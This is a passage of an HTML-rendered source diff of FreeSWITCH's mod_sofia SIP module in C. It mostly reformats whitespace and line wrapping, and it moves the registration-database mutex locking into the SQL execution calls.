</del><ins>+                        tech_pvt-&gt;sofia_private = NULL;
+                }
</ins><span class="cx"> 
</span><span class="cx">                 if (nh) {
</span><span class="cx">                         nua_handle_bind(nh, NULL);
</span><span class="lines">@@ -879,7 +953,7 @@
</span><span class="cx">         if (locked &amp;&amp; tech_pvt) {
</span><span class="cx">                 switch_mutex_unlock(tech_pvt-&gt;sofia_mutex);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 switch_core_session_rwunlock(session);
</span><span class="cx">         }
</span><span class="lines">@@ -994,7 +1068,7 @@
</span><span class="cx">                         fixed_contact_str = malloc(len);
</span><span class="cx">                         switch_assert(fixed_contact_str);
</span><span class="cx">                         switch_copy_string(fixed_contact_str, contact_str, len);
</span><del>-        
</del><ins>+
</ins><span class="cx">                         if ((sptr = strstr(fixed_contact_str, needle))) {
</span><span class="cx">                                 char *origsptr = strstr(contact_str, needle);
</span><span class="cx">                                 eptr = strchr(++origsptr, ';');
</span><span class="lines">@@ -1023,14 +1097,14 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_mutex_lock(profile-&gt;ireg_mutex);
</span><span class="cx">                 sofia_glue_execute_sql(profile, &amp;sql, SWITCH_TRUE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_find_local_ip(guess_ip4, sizeof(guess_ip4), NULL, AF_INET);
</span><span class="cx">                 sql = switch_mprintf(&quot;insert into sip_registrations &quot;
</span><span class="cx">                                                          &quot;(call_id, sip_user, sip_host, presence_hosts, contact, status, rpid, expires,&quot;
</span><span class="cx">                                                          &quot;user_agent, server_user, server_host, profile_name, hostname, network_ip, network_port, sip_username, sip_realm,&quot; 
</span><span class="cx">                                                          &quot;mwi_user, mwi_host, orig_server_host, orig_hostname) &quot;
</span><span class="cx">                                                          &quot;values ('%q','%q','%q','%q','%q','Registered','%q',%ld, '%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')&quot;,
</span><del>-                                                         call_id, from_user, from_host, presence_hosts, contact_str, rpid, expires, user_agent, to_user, guess_ip4, 
</del><ins>+                                                         call_id, from_user, from_host, presence_hosts, contact_str, rpid, expires, user_agent, to_user, guess_ip4,
</ins><span class="cx">                                                          profile_name, mod_sofia_globals.hostname, network_ip, network_port, username, realm, mwi_user, mwi_host,
</span><span class="cx">                                                          orig_server_host, orig_hostname);
</span><span class="cx"> 
</span><span class="lines">@@ -1043,13 +1117,13 @@
</span><span class="cx">                 if (profile) {
</span><span class="cx">                         sofia_glue_release_profile(profile);
</span><span class="cx">                 }
</span><del>-end:
</del><ins>+          end:
</ins><span class="cx">                 switch_safe_free(fixed_contact_str);
</span><span class="cx">                 switch_safe_free(dup_mwi_account);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void sofia_perform_profile_start_failure(sofia_profile_t *profile, char *profile_name, char* file, int line)
</del><ins>+static void sofia_perform_profile_start_failure(sofia_profile_t *profile, char *profile_name, char *file, int line)
</ins><span class="cx"> {
</span><span class="cx">         int arg = 0;
</span><span class="cx">         switch_event_t *s_event;
</span><span class="lines">@@ -1059,7 +1133,8 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Profile %s could not load! Shutting down!\n&quot;, profile-&gt;name);
</span><span class="cx">                         switch_core_session_ctl(SCSC_SHUTDOWN, &amp;arg);
</span><span class="cx">                 } else if (!strcasecmp(profile-&gt;shutdown_type, &quot;elegant&quot;)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Profile %s could not load! Waiting for calls to finish, then shutting down!\n&quot;, profile-&gt;name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Profile %s could not load! Waiting for calls to finish, then shutting down!\n&quot;,
+                                                          profile-&gt;name);
</ins><span class="cx">                         switch_core_session_ctl(SCSC_SHUTDOWN_ELEGANT, &amp;arg);
</span><span class="cx">                 } else if (!strcasecmp(profile-&gt;shutdown_type, &quot;asap&quot;)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Profile %s could not load! Shutting down ASAP!\n&quot;, profile-&gt;name);
</span><span class="lines">@@ -1080,6 +1155,7 @@
</span><span class="cx">                 switch_event_fire(&amp;s_event);
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #define sofia_profile_start_failure(p, xp) sofia_perform_profile_start_failure(p, xp, __FILE__, __LINE__)
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1116,15 +1192,15 @@
</span><span class="cx">                                 uint32_t itterations = 0;
</span><span class="cx">                                 switch_size_t len = 0;
</span><span class="cx"> 
</span><del>-                                switch_mutex_lock(profile-&gt;ireg_mutex);
-                        
</del><ins>+                                //switch_mutex_lock(profile-&gt;ireg_mutex);
+
</ins><span class="cx">                                 //sofia_glue_actually_execute_sql(profile, &quot;begin;\n&quot;, NULL);
</span><span class="cx"> 
</span><span class="cx">                                 while (switch_queue_trypop(profile-&gt;sql_queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</span><span class="cx">                                         char *sql = (char *) pop;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         newlen = strlen(sql) + 2;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         if (newlen + 10 &lt; SQLLEN) {
</span><span class="cx">                                                 itterations++;
</span><span class="cx">                                                 if (len + newlen + 10 &gt; sql_len) {
</span><span class="lines">@@ -1143,24 +1219,22 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 //printf(&quot;TRANS:\n%s\n&quot;, sqlbuf);
</span><del>-                                sofia_glue_actually_execute_sql_trans(profile, sqlbuf, NULL);
</del><ins>+                                sofia_glue_actually_execute_sql_trans(profile, sqlbuf, profile-&gt;ireg_mutex);
</ins><span class="cx">                                 //sofia_glue_actually_execute_sql(profile, &quot;commit;\n&quot;, NULL);
</span><del>-
-
-                                switch_mutex_unlock(profile-&gt;ireg_mutex);
</del><ins>+                                //switch_mutex_unlock(profile-&gt;ireg_mutex);
</ins><span class="cx">                                 loop_count = 0;
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         if (qsize) {
</span><del>-                                switch_mutex_lock(profile-&gt;ireg_mutex);
</del><ins>+                                //switch_mutex_lock(profile-&gt;ireg_mutex);
</ins><span class="cx">                                 while (switch_queue_trypop(profile-&gt;sql_queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</span><del>-                                        sofia_glue_actually_execute_sql(profile, (char *) pop, NULL);
</del><ins>+                                        sofia_glue_actually_execute_sql(profile, (char *) pop, profile-&gt;ireg_mutex);
</ins><span class="cx">                                         free(pop);
</span><span class="cx">                                 }
</span><del>-                                switch_mutex_unlock(profile-&gt;ireg_mutex);
</del><ins>+                                //switch_mutex_unlock(profile-&gt;ireg_mutex);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (++loops &gt;= 1000) {
</span><span class="cx">                         if (++ireg_loops &gt;= IREG_SECONDS) {
</span><span class="cx">                                 time_t now = switch_epoch_time_now(NULL);
</span><span class="lines">@@ -1243,10 +1317,7 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        supported = switch_core_sprintf(profile-&gt;pool, &quot;%s%sprecondition, path, replaces&quot;, 
-                                                                        use_100rel ? &quot;100rel, &quot; : &quot;&quot;,
-                                                                        use_timer ? &quot;timer, &quot; : &quot;&quot;
-                                                                        );
</del><ins>+        supported = switch_core_sprintf(profile-&gt;pool, &quot;%s%sprecondition, path, replaces&quot;, use_100rel ? &quot;100rel, &quot; : &quot;&quot;, use_timer ? &quot;timer, &quot; : &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx">         if (sofia_test_pflag(profile, PFLAG_AUTO_NAT) &amp;&amp; switch_core_get_variable(&quot;nat_type&quot;)) {
</span><span class="cx">                 if (switch_nat_add_mapping(profile-&gt;sip_port, SWITCH_NAT_UDP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1255,7 +1326,8 @@
</span><span class="cx">                 if (switch_nat_add_mapping(profile-&gt;sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Created TCP nat mapping for %s port %d\n&quot;, profile-&gt;name, profile-&gt;sip_port);
</span><span class="cx">                 }
</span><del>-                if (sofia_test_pflag(profile, PFLAG_TLS) &amp;&amp; switch_nat_add_mapping(profile-&gt;tls_sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (sofia_test_pflag(profile, PFLAG_TLS)
+                        &amp;&amp; switch_nat_add_mapping(profile-&gt;tls_sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Created TCP/TLS nat mapping for %s port %d\n&quot;, profile-&gt;name, profile-&gt;tls_sip_port);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -1263,27 +1335,7 @@
</span><span class="cx">         profile-&gt;nua = nua_create(profile-&gt;s_root,        /* Event loop */
</span><span class="cx">                                                           sofia_event_callback,        /* Callback for processing events */
</span><span class="cx">                                                           profile,        /* Additional data to pass to callback */
</span><del>-                                                          NUTAG_URL(profile-&gt;bindurl),
-                                                          NTATAG_USER_VIA(1),
-                                                          TAG_IF(!strchr(profile-&gt;sipip, ':'), SOATAG_AF(SOA_AF_IP4_ONLY)),
-                                                          TAG_IF(strchr(profile-&gt;sipip, ':'), SOATAG_AF(SOA_AF_IP6_ONLY)),
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_SIPS_URL(profile-&gt;tls_bindurl)), 
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_CERTIFICATE_DIR(profile-&gt;tls_cert_dir)), 
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERIFY_POLICY(0)),
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERSION(profile-&gt;tls_version)), 
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_KEEPALIVE(20000)),
-                                                          TAG_IF(!strchr(profile-&gt;sipip, ':'), NTATAG_UDP_MTU(65535)), 
-                                                           TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_SRV), NTATAG_USE_SRV(0)),
-                                                           TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_NAPTR), NTATAG_USE_NAPTR(0)),
-                                                          NTATAG_DEFAULT_PROXY(profile-&gt;outbound_proxy),
-                                                          NTATAG_SERVER_RPORT(profile-&gt;rport_level),
-                                                          TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)), 
-                                                           TAG_IF(sofia_test_pflag(profile, PFLAG_SIPCOMPACT), NTATAG_SIPFLAGS(MSG_DO_COMPACT)),
-                                                          TAG_IF(profile-&gt;timer_t1, NTATAG_SIP_T1(profile-&gt;timer_t1)),
-                                                          TAG_IF(profile-&gt;timer_t1x64, NTATAG_SIP_T1X64(profile-&gt;timer_t1x64)),
-                                                          TAG_IF(profile-&gt;timer_t2, NTATAG_SIP_T2(profile-&gt;timer_t2)),
-                                                          TAG_IF(profile-&gt;timer_t4, NTATAG_SIP_T4(profile-&gt;timer_t4)),
-                                                          TAG_END());        /* Last tag should always finish the sequence */
</del><ins>+                                                          NUTAG_URL(profile-&gt;bindurl), NTATAG_USER_VIA(1), TAG_IF(!strchr(profile-&gt;sipip, ':'), SOATAG_AF(SOA_AF_IP4_ONLY)), TAG_IF(strchr(profile-&gt;sipip, ':'), SOATAG_AF(SOA_AF_IP6_ONLY)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_SIPS_URL(profile-&gt;tls_bindurl)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_CERTIFICATE_DIR(profile-&gt;tls_cert_dir)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERIFY_POLICY(0)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERSION(profile-&gt;tls_version)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_KEEPALIVE(20000)), TAG_IF(!strchr(profile-&gt;sipip, ':'), NTATAG_UDP_MTU(65535)), TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_SRV), NTATAG_USE_SRV(0)), TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_NAPTR), NTATAG_USE_NAPTR(0)), NTATAG_DEFAULT_PROXY(profile-&gt;outbound_proxy), NTATAG_SERVER_RPORT(profile-&gt;rport_level), TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)), TAG_IF(sofia_test_pflag(profile, PFLAG_SIPCOMPACT), NTATAG_SIPFLAGS(MSG_DO_COMPACT)), TAG_IF(profile-&gt;timer_t1, NTATAG_SIP_T1(profile-&gt;timer_t1)), TAG_IF(profile-&gt;timer_t1x64, NTATAG_SIP_T1X64(profile-&gt;timer_t1x64)), TAG_IF(profile-&gt;timer_t2, NTATAG_SIP_T2(profile-&gt;timer_t2)), TAG_IF(profile-&gt;timer_t4, NTATAG_SIP_T4(profile-&gt;timer_t4)), TAG_END());        /* Last tag should always finish the sequence */
</ins><span class="cx"> 
</span><span class="cx">         if (!profile-&gt;nua) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Creating SIP UA for profile: %s\n&quot;, profile-&gt;name);
</span><span class="lines">@@ -1299,10 +1351,7 @@
</span><span class="cx">                                    NUTAG_APPL_METHOD(&quot;OPTIONS&quot;),
</span><span class="cx">                                    NUTAG_APPL_METHOD(&quot;REFER&quot;),
</span><span class="cx">                                    NUTAG_APPL_METHOD(&quot;REGISTER&quot;),
</span><del>-                                   NUTAG_APPL_METHOD(&quot;NOTIFY&quot;),
-                                   NUTAG_APPL_METHOD(&quot;INFO&quot;),
-                                   NUTAG_APPL_METHOD(&quot;ACK&quot;),
-                                   NUTAG_APPL_METHOD(&quot;SUBSCRIBE&quot;),
</del><ins>+                                   NUTAG_APPL_METHOD(&quot;NOTIFY&quot;), NUTAG_APPL_METHOD(&quot;INFO&quot;), NUTAG_APPL_METHOD(&quot;ACK&quot;), NUTAG_APPL_METHOD(&quot;SUBSCRIBE&quot;),
</ins><span class="cx"> #ifdef MANUAL_BYE
</span><span class="cx">                                    NUTAG_APPL_METHOD(&quot;BYE&quot;),
</span><span class="cx"> #endif
</span><span class="lines">@@ -1329,8 +1378,7 @@
</span><span class="cx">                                    TAG_IF(profile-&gt;pres_type, NUTAG_ALLOW_EVENTS(&quot;include-session-description&quot;)),
</span><span class="cx">                                    TAG_IF(profile-&gt;pres_type, NUTAG_ALLOW_EVENTS(&quot;presence.winfo&quot;)),
</span><span class="cx">                                    TAG_IF(profile-&gt;pres_type, NUTAG_ALLOW_EVENTS(&quot;message-summary&quot;)),
</span><del>-                                   NUTAG_ALLOW_EVENTS(&quot;refer&quot;),
-                                   SIPTAG_SUPPORTED_STR(supported), SIPTAG_USER_AGENT_STR(profile-&gt;user_agent), TAG_END());
</del><ins>+                                   NUTAG_ALLOW_EVENTS(&quot;refer&quot;), SIPTAG_SUPPORTED_STR(supported), SIPTAG_USER_AGENT_STR(profile-&gt;user_agent), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Set params for %s\n&quot;, profile-&gt;name);
</span><span class="cx"> 
</span><span class="lines">@@ -1415,12 +1463,12 @@
</span><span class="cx">         sofia_reg_unregister(profile);
</span><span class="cx">         nua_shutdown(profile-&gt;nua);
</span><span class="cx">         su_root_run(profile-&gt;s_root);
</span><del>-        
</del><ins>+
</ins><span class="cx">         sofia_clear_pflag_locked(profile, PFLAG_RUNNING);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Waiting for worker thread\n&quot;);
</span><span class="cx"> 
</span><span class="cx">         switch_thread_join(&amp;st, worker_thread);
</span><del>-        
</del><ins>+
</ins><span class="cx">         sanity = 4;
</span><span class="cx">         while (profile-&gt;inuse) {
</span><span class="cx">                 switch_core_session_hupall_matching_var(&quot;sofia_profile_name&quot;, profile-&gt;name, SWITCH_CAUSE_MANAGER_REQUEST);
</span><span class="lines">@@ -1431,7 +1479,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         nua_destroy(profile-&gt;nua);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(profile-&gt;ireg_mutex);
</span><span class="cx">         switch_mutex_unlock(profile-&gt;ireg_mutex);
</span><span class="cx"> 
</span><span class="lines">@@ -1504,7 +1552,8 @@
</span><span class="cx"> 
</span><span class="cx"> static void logger(void *logarg, char const *fmt, va_list ap)
</span><span class="cx"> {
</span><del>-        if (!fmt) return;
</del><ins>+        if (!fmt)
+                return;
</ins><span class="cx"> 
</span><span class="cx">         if (ap) {
</span><span class="cx">                 switch_log_vprintf(SWITCH_CHANNEL_LOG_CLEAN, mod_sofia_globals.tracelevel, fmt, ap);
</span><span class="lines">@@ -1513,7 +1562,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static su_log_t *sofia_get_logger(const char *name) 
</del><ins>+static su_log_t *sofia_get_logger(const char *name)
</ins><span class="cx"> {
</span><span class="cx">         if (!strcasecmp(name, &quot;tport&quot;)) {
</span><span class="cx">                 return tport_log;
</span><span class="lines">@@ -1545,11 +1594,11 @@
</span><span class="cx"> switch_status_t sofia_set_loglevel(const char *name, int level)
</span><span class="cx"> {
</span><span class="cx">         su_log_t *log = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (level &lt; 0 || level &gt; 9) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(name, &quot;all&quot;)) {
</span><span class="cx">                 su_log_set_level(su_log_default, level);
</span><span class="cx">                 su_log_set_level(tport_log, level);
</span><span class="lines">@@ -1564,20 +1613,20 @@
</span><span class="cx">                 su_log_set_level(stun_log, level);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(log = sofia_get_logger(name))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         su_log_set_level(log, level);
</span><del>-                
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int sofia_get_loglevel(const char *name)
</span><span class="cx"> {
</span><span class="cx">         su_log_t *log = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((log = sofia_get_logger(name))) {
</span><span class="cx">                 return log-&gt;log_level;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1595,10 +1644,10 @@
</span><span class="cx">                 if ((gw_sub = switch_core_alloc(profile-&gt;pool, sizeof(*gw_sub)))) {
</span><span class="cx">                         char *expire_seconds = &quot;3600&quot;, *retry_seconds = &quot;30&quot;, *content_type = &quot;NO_CONTENT_TYPE&quot;;
</span><span class="cx">                         char *event = (char *) switch_xml_attr_soft(subscription_tag, &quot;event&quot;);
</span><del>-                        gw_sub-&gt;event = switch_core_strdup(gateway-&gt;pool, event);                        
</del><ins>+                        gw_sub-&gt;event = switch_core_strdup(gateway-&gt;pool, event);
</ins><span class="cx">                         gw_sub-&gt;gateway = gateway;
</span><span class="cx">                         gw_sub-&gt;next = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (param = switch_xml_child(subscription_tag, &quot;param&quot;); param; param = param-&gt;next) {
</span><span class="cx">                                 char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                                 char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</span><span class="lines">@@ -1610,23 +1659,22 @@
</span><span class="cx">                                         content_type = val;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         gw_sub-&gt;retry_seconds = atoi(retry_seconds);
</span><span class="cx">                         if (gw_sub-&gt;retry_seconds &lt; 10) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;INVALID: retry_seconds correcting the value to 30\n&quot;);
</span><span class="cx">                                 gw_sub-&gt;retry_seconds = 30;
</span><span class="cx">                         }
</span><del>-                        
-                        gw_sub-&gt;expires_str = switch_core_strdup(gateway-&gt;pool, expire_seconds);  
-                        
</del><ins>+
+                        gw_sub-&gt;expires_str = switch_core_strdup(gateway-&gt;pool, expire_seconds);
+
</ins><span class="cx">                         if ((gw_sub-&gt;freq = atoi(gw_sub-&gt;expires_str)) &lt; 5) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                &quot;Invalid Freq: %d.  Setting Register-Frequency to 3600\n&quot;, gw_sub-&gt;freq);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid Freq: %d.  Setting Register-Frequency to 3600\n&quot;, gw_sub-&gt;freq);
</ins><span class="cx">                                 gw_sub-&gt;freq = 3600;
</span><span class="cx">                         }
</span><span class="cx">                         gw_sub-&gt;freq -= 2;
</span><span class="cx">                         gw_sub-&gt;content_type = switch_core_strdup(gateway-&gt;pool, content_type);
</span><del>-                        gw_sub-&gt;next = gateway-&gt;subscriptions;                
</del><ins>+                        gw_sub-&gt;next = gateway-&gt;subscriptions;
</ins><span class="cx">                 }
</span><span class="cx">                 gateway-&gt;subscriptions = gw_sub;
</span><span class="cx">         }
</span><span class="lines">@@ -1671,14 +1719,14 @@
</span><span class="cx">                                 *retry_seconds = &quot;30&quot;,
</span><span class="cx">                                 *from_user = &quot;&quot;, *from_domain = NULL, *outbound_proxy = NULL, *register_proxy = NULL, *contact_host = NULL,
</span><span class="cx">                                 *contact_params = NULL, *params = NULL, *register_transport = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!context) {
</span><span class="cx">                                 context = &quot;default&quot;;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_uuid_get(&amp;uuid);
</span><span class="cx">                         switch_uuid_format(gateway-&gt;uuid_str, &amp;uuid);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         gateway-&gt;register_transport = SOFIA_TRANSPORT_UDP;
</span><span class="cx">                         gateway-&gt;pool = profile-&gt;pool;
</span><span class="cx">                         gateway-&gt;profile = profile;
</span><span class="lines">@@ -1690,20 +1738,20 @@
</span><span class="cx">                         gateway-&gt;ping_max = 0;
</span><span class="cx">                         gateway-&gt;ping_min = 0;
</span><span class="cx">                         gateway-&gt;ping_count = 0;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((x_params = switch_xml_child(gateway_tag, &quot;variables&quot;))) {
</span><span class="cx">                                 param = switch_xml_child(x_params, &quot;variable&quot;);
</span><span class="cx">                         } else {
</span><span class="cx">                                 param = switch_xml_child(gateway_tag, &quot;variable&quot;);
</span><span class="cx">                         }
</span><del>-                        
-                        
</del><ins>+
+
</ins><span class="cx">                         for (; param; param = param-&gt;next) {
</span><span class="cx">                                 const char *var = switch_xml_attr(param, &quot;name&quot;);
</span><span class="cx">                                 const char *val = switch_xml_attr(param, &quot;value&quot;);
</span><span class="cx">                                 const char *direction = switch_xml_attr(param, &quot;direction&quot;);
</span><span class="cx">                                 int in = 0, out = 0;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (var &amp;&amp; val) {
</span><span class="cx">                                         if (direction) {
</span><span class="cx">                                                 if (!strcasecmp(direction, &quot;inbound&quot;)) {
</span><span class="lines">@@ -1736,11 +1784,11 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 param = switch_xml_child(gateway_tag, &quot;param&quot;);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (; param; param = param-&gt;next) {
</span><span class="cx">                                 char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                                 char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!strcmp(var, &quot;register&quot;)) {
</span><span class="cx">                                         register_str = val;
</span><span class="cx">                                 } else if (!strcmp(var, &quot;scheme&quot;)) {
</span><span class="lines">@@ -1773,7 +1821,7 @@
</span><span class="cx">                                         expire_seconds = val;
</span><span class="cx">                                 } else if (!strcmp(var, &quot;retry-seconds&quot;)) {
</span><span class="cx">                                         retry_seconds = val;
</span><del>-                                } else if (!strcmp(var, &quot;retry_seconds&quot;)) { // support typo for back compat
</del><ins>+                                } else if (!strcmp(var, &quot;retry_seconds&quot;)) {        // support typo for back compat
</ins><span class="cx">                                         retry_seconds = val;
</span><span class="cx">                                 } else if (!strcmp(var, &quot;from-user&quot;)) {
</span><span class="cx">                                         from_user = val;
</span><span class="lines">@@ -1815,7 +1863,7 @@
</span><span class="cx">                         if ((gw_subs_tag = switch_xml_child(gateway_tag, &quot;subscriptions&quot;))) {
</span><span class="cx">                                 parse_gateway_subscriptions(profile, gateway, gw_subs_tag);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(realm)) {
</span><span class="cx">                                 if (zstr(proxy)) {
</span><span class="cx">                                         realm = name;
</span><span class="lines">@@ -1854,7 +1902,7 @@
</span><span class="cx">                         if (zstr(auth_username)) {
</span><span class="cx">                                 auth_username = username;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(register_proxy)) {
</span><span class="cx">                                 if (strncasecmp(register_proxy, &quot;sip:&quot;, 4) &amp;&amp; strncasecmp(register_proxy, &quot;sips:&quot;, 5)) {
</span><span class="cx">                                         gateway-&gt;register_sticky_proxy = switch_core_sprintf(gateway-&gt;pool, &quot;sip:%s&quot;, register_proxy);
</span><span class="lines">@@ -1908,10 +1956,10 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         gateway-&gt;register_url = switch_core_sprintf(gateway-&gt;pool, &quot;sip:%s&quot;, proxy);
</span><del>-                        gateway-&gt;register_from = switch_core_sprintf(gateway-&gt;pool, &quot;&lt;sip:%s@%s;transport=%s&gt;&quot;, 
</del><ins>+                        gateway-&gt;register_from = switch_core_sprintf(gateway-&gt;pool, &quot;&lt;sip:%s@%s;transport=%s&gt;&quot;,
</ins><span class="cx">                                                                                                                  from_user, !zstr(from_domain) ? from_domain : proxy, register_transport);
</span><span class="cx"> 
</span><del>-                        sipip = contact_host ? contact_host : profile-&gt;extsipip ?  profile-&gt;extsipip : profile-&gt;sipip;
</del><ins>+                        sipip = contact_host ? contact_host : profile-&gt;extsipip ? profile-&gt;extsipip : profile-&gt;sipip;
</ins><span class="cx"> 
</span><span class="cx">                         if (extension_in_contact) {
</span><span class="cx">                                 format = strchr(sipip, ':') ? &quot;&lt;sip:%s@[%s]:%d%s&gt;&quot; : &quot;&lt;sip:%s@%s:%d%s&gt;&quot;;
</span><span class="lines">@@ -1928,7 +1976,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         gateway-&gt;extension = switch_core_strdup(gateway-&gt;pool, extension);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strncasecmp(proxy, &quot;sip:&quot;, 4)) {
</span><span class="cx">                                 gateway-&gt;register_proxy = switch_core_strdup(gateway-&gt;pool, proxy);
</span><span class="cx">                                 gateway-&gt;register_to = switch_core_sprintf(gateway-&gt;pool, &quot;sip:%s@%s&quot;, username, proxy + 4);
</span><span class="lines">@@ -1940,8 +1988,8 @@
</span><span class="cx">                         gateway-&gt;expires_str = switch_core_strdup(gateway-&gt;pool, expire_seconds);
</span><span class="cx"> 
</span><span class="cx">                         if ((gateway-&gt;freq = atoi(gateway-&gt;expires_str)) &lt; 5) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid register-frequency of %d on gateway %s, using the value of 3600 instead\n&quot;,
-                                                                  gateway-&gt;freq, name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                  &quot;Invalid register-frequency of %d on gateway %s, using the value of 3600 instead\n&quot;, gateway-&gt;freq, name);
</ins><span class="cx">                                 gateway-&gt;freq = 3600;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1961,8 +2009,7 @@
</span><span class="cx">                 if (sofia_glue_add_profile(switch_core_strdup(profile-&gt;pool, dname), profile) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Adding Alias [%s] for profile [%s]\n&quot;, dname, profile-&gt;name);
</span><span class="cx">                 } else {
